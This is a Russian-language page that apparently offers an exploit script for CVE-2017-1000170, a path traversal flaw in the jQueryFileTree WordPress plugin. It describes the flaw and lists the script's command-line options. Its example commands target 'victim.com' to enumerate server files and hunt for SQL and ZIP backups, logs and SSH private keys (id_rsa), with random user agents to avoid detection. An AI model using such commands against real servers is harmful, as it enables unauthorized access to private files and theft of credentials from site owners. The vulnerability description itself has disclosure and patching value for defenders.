
Эксплойт Path Traversal для Jquery File Tree 1.6.6 (CVE-2017-1000170)
Эксплойт обхода пути (Path Traversal) для Jquery File Tree 1.6.6 (CVE-2017-1000170)
Плагин jQueryFileTree <1.6.6 для Wordpress с настройками по умолчанию некорректно обрабатывает пользовательские данные, что приводит к уязвимости обхода пути (path traversal).
Это позволяет атакующему перечислить все имена файлов во всех доступных для чтения папках веб-сервера.
В сочетании с атаками локального включения файлов (local file inclusion) или раскрытия локальных файлов (local file disclosure) это может привести к произвольной загрузке любого доступного для чтения файла сервера.
$ xpl_jqueryFileTree.php -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
Условные обозначения:
-h, --help: Show this message
-u, --url: URL of target
-a, --random-agent: Use random user agents
-f, --filter: Name of files or extensions to search for (separated by comma)
-p, --path: The full path from which the filenames will be read (default: /)
-r, --recursive: Generates the tree recursivelly (be careful)
e.g.: xpl_jqueryFileTree.php -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r
|
\-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths
(You must provide the dot to indicate it's an extension)
xpl_jqueryFileTree.php -u victim.com -f .log,id_rsa -a -r
|
\-> This will search for all files named "id_rsa" or having the extension
".log" within all folders of the server, with random user-agents
Tip: use "php ..... | tee output" to save the result to an output file
